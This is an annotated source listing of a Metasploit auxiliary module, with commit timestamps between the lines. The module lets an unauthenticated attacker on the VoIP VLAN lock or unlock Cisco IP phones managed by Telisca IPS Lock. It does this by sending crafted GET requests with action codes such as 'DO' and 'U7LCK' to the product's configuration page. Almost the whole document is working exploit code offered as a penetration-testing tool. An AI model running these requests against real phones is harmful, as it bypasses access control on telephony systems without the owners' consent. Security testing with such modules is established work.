2016-01-14 00:00:04 +00:00
|
|
|
##
|
|
|
|
# This module requires Metasploit: http://metasploit.com/download
|
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
|
2016-03-08 13:02:44 +00:00
|
|
|
class MetasploitModule < Msf::Auxiliary
|
2016-01-14 00:00:04 +00:00
|
|
|
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
|
|
|
|
|
|
def initialize(info = {})
|
|
|
|
super(update_info(info,
|
2016-01-27 22:40:06 +00:00
|
|
|
'Name' => 'Telisca IPS Lock Cisco IP Phone Control',
|
2016-01-15 01:38:59 +00:00
|
|
|
'Description' => %q{
|
2016-01-27 22:40:06 +00:00
|
|
|
This module allows an unauthenticated attacker to exercise the
|
|
|
|
"Lock" and "Unlock" functionality of Telisca IPS Lock for Cisco IP
|
|
|
|
Phones. This module should be run in the VoIP VLAN, and requires
|
|
|
|
knowledge of the target phone's name (for example, SEP002497AB1D4B).
|
2016-01-15 01:38:59 +00:00
|
|
|
|
|
|
|
Set ACTION to either LOCK or UNLOCK. UNLOCK is the default.
|
|
|
|
},
|
2016-01-14 00:00:04 +00:00
|
|
|
'References' =>
|
2016-01-15 01:38:59 +00:00
|
|
|
[
|
2016-01-27 22:40:06 +00:00
|
|
|
# Publicly disclosed via Metaploit PR
|
2016-01-15 01:38:59 +00:00
|
|
|
'URL', 'https://github.com/rapid7/metasploit-framework/pull/6470'
|
|
|
|
],
|
2016-01-14 00:00:04 +00:00
|
|
|
'Author' =>
|
2016-01-15 01:38:59 +00:00
|
|
|
[
|
|
|
|
'Fakhir Karim Reda <karim.fakhir[at]gmail.com>',
|
|
|
|
'zirsalem'
|
|
|
|
],
|
2016-01-14 11:13:10 +00:00
|
|
|
'License' => MSF_LICENSE,
|
2016-01-15 01:38:59 +00:00
|
|
|
'DisclosureDate' => 'Dec 17 2015',
|
|
|
|
'Actions' =>
|
2016-01-14 11:13:10 +00:00
|
|
|
[
|
2016-01-15 01:38:59 +00:00
|
|
|
['LOCK', 'Description' => 'To lock a phone'],
|
|
|
|
['UNLOCK', 'Description' => 'To unlock a phone']
|
2016-01-14 11:13:10 +00:00
|
|
|
],
|
2016-01-15 01:38:59 +00:00
|
|
|
'DefaultAction' => 'UNLOCK'
|
2016-01-14 00:00:04 +00:00
|
|
|
))
|
2016-01-15 01:38:59 +00:00
|
|
|
|
2016-01-14 00:00:04 +00:00
|
|
|
register_options(
|
|
|
|
[
|
2016-01-15 01:38:59 +00:00
|
|
|
OptAddress.new('RHOST', [true, 'The IPS Lock IP Address']),
|
2016-01-27 22:40:06 +00:00
|
|
|
OptString.new('PHONENAME', [true, 'The name of the target phone'])
|
2016-01-14 00:00:04 +00:00
|
|
|
], self.class)
|
2016-01-15 01:38:59 +00:00
|
|
|
|
|
|
|
end
|
|
|
|
|
|
|
|
def print_status(msg='')
|
|
|
|
super("#{peer} - #{msg}")
|
|
|
|
end
|
|
|
|
|
|
|
|
def print_good(msg='')
|
|
|
|
super("#{peer} - #{msg}")
|
|
|
|
end
|
|
|
|
|
|
|
|
def print_error(msg='')
|
|
|
|
super("#{peer} - #{msg}")
|
|
|
|
end
|
2016-01-14 00:00:04 +00:00
|
|
|
|
2016-01-15 01:38:59 +00:00
|
|
|
# Returns the status of the listening port.
|
|
|
|
#
|
|
|
|
# @return [Boolean] TrueClass if port open, otherwise FalseClass.
|
2016-01-14 00:00:04 +00:00
|
|
|
def port_open?
|
|
|
|
begin
|
2016-01-15 01:38:59 +00:00
|
|
|
res = send_request_raw({'method' => 'GET', 'uri' => '/'})
|
2016-01-14 00:00:04 +00:00
|
|
|
return true if res
|
|
|
|
rescue ::Rex::ConnectionRefused
|
2016-01-15 01:38:59 +00:00
|
|
|
vprint_status("Connection refused")
|
2016-01-14 00:00:04 +00:00
|
|
|
rescue ::Rex::ConnectionError
|
2016-01-15 01:38:59 +00:00
|
|
|
vprint_error("Connection failed")
|
2016-01-14 00:00:04 +00:00
|
|
|
rescue ::OpenSSL::SSL::SSLError
|
2016-01-15 01:38:59 +00:00
|
|
|
vprint_error("SSL/TLS connection error")
|
2016-01-14 00:00:04 +00:00
|
|
|
end
|
2016-01-15 01:38:59 +00:00
|
|
|
|
|
|
|
false
|
2016-01-14 00:00:04 +00:00
|
|
|
end
|
|
|
|
|
2016-01-15 01:38:59 +00:00
|
|
|
# Locks a device.
|
2016-01-14 00:00:04 +00:00
|
|
|
#
|
2016-01-15 01:38:59 +00:00
|
|
|
# @param phone_name [String] Name of the phone used for the pn parameter.
|
2016-01-14 00:00:04 +00:00
|
|
|
#
|
2016-01-15 01:38:59 +00:00
|
|
|
# @return [void]
|
|
|
|
def lock(phone_name)
|
|
|
|
res = send_request_cgi({
|
|
|
|
'method' => 'GET',
|
|
|
|
'uri' => '/IPSPCFG/user/Default.aspx',
|
2016-01-15 15:05:24 +00:00
|
|
|
'headers' => {
|
|
|
|
'Connection' => 'keep-alive',
|
|
|
|
'Accept-Language' => 'en-US,en;q=0.5'
|
|
|
|
},
|
2016-01-15 01:38:59 +00:00
|
|
|
'vars_get' => {
|
|
|
|
'action' => 'DO',
|
|
|
|
'tg' => 'L',
|
|
|
|
'pn' => phone_name,
|
|
|
|
'dp' => '',
|
|
|
|
'gr' => '',
|
|
|
|
'gl' => ''
|
|
|
|
}
|
|
|
|
})
|
|
|
|
|
|
|
|
if res && res.code == 200
|
|
|
|
if res.body.include?('Unlock') || res.body.include?('U7LCK')
|
|
|
|
print_good("The device #{phone_name} is already locked")
|
|
|
|
elsif res.body.include?('unlocked') || res.body.include?('Locking') || res.body.include?('QUIT')
|
|
|
|
print_good("Device #{phone_name} successfully locked")
|
2016-01-14 11:13:10 +00:00
|
|
|
end
|
2016-01-15 01:38:59 +00:00
|
|
|
elsif res
|
|
|
|
print_error("Unexpected response #{res.code}")
|
|
|
|
else
|
|
|
|
print_error('The connection timed out while trying to lock.')
|
2016-01-14 00:00:04 +00:00
|
|
|
end
|
2016-01-15 01:38:59 +00:00
|
|
|
end
|
|
|
|
|
2016-01-14 11:13:10 +00:00
|
|
|
|
2016-01-15 01:38:59 +00:00
|
|
|
# Unlocks a phone.
|
2016-01-14 00:00:04 +00:00
|
|
|
#
|
2016-01-15 01:38:59 +00:00
|
|
|
# @param phone_name [String] Name of the phone used for the pn parameter.
|
2016-01-14 00:00:04 +00:00
|
|
|
#
|
2016-01-15 01:38:59 +00:00
|
|
|
# @return [void]
|
|
|
|
def unlock(phone_name)
|
|
|
|
res = send_request_cgi({
|
|
|
|
'method' => 'GET',
|
|
|
|
'uri' => '/IPSPCFG/user/Default.aspx',
|
|
|
|
'headers' => {
|
|
|
|
'Connection' => 'keep-alive',
|
|
|
|
'Accept-Language' => 'en-US,en;q=0.5'
|
|
|
|
},
|
|
|
|
'vars_get' => {
|
|
|
|
'action' => 'U7LCK',
|
|
|
|
'pn' => phone_name,
|
|
|
|
'dp' => ''
|
|
|
|
}
|
|
|
|
})
|
|
|
|
|
|
|
|
if res && res.code == 200
|
|
|
|
if res.body.include?('Unlock') || res.body.include?('U7LCK')
|
|
|
|
print_good("The device #{phone_name} is already locked")
|
|
|
|
elsif res.body.include?('unlocked') || res.body.include?('QUIT')
|
|
|
|
print_good("The device #{phone_name} successfully unlocked")
|
|
|
|
end
|
|
|
|
elsif res
|
|
|
|
print_error("Unexpected response #{res.code}")
|
|
|
|
else
|
|
|
|
print_error('The connection timed out while trying to unlock')
|
2016-01-14 00:00:04 +00:00
|
|
|
end
|
|
|
|
end
|
2016-01-15 01:38:59 +00:00
|
|
|
|
|
|
|
|
2016-01-14 00:00:04 +00:00
|
|
|
def run
|
2016-01-15 01:38:59 +00:00
|
|
|
unless port_open?
|
|
|
|
print_error('The web server is unreachable!')
|
2016-01-14 11:13:10 +00:00
|
|
|
return
|
|
|
|
end
|
2016-01-15 01:38:59 +00:00
|
|
|
|
2016-01-14 11:13:10 +00:00
|
|
|
phone_name = datastore['PHONENAME']
|
|
|
|
case action.name
|
|
|
|
when 'LOCK'
|
2016-01-15 01:38:59 +00:00
|
|
|
lock(phone_name)
|
2016-01-14 11:13:10 +00:00
|
|
|
when 'UNLOCK'
|
2016-01-15 01:38:59 +00:00
|
|
|
unlock(phone_name)
|
2016-01-14 11:13:10 +00:00
|
|
|
end
|
2016-01-14 00:00:04 +00:00
|
|
|
end
|
|
|
|
end
|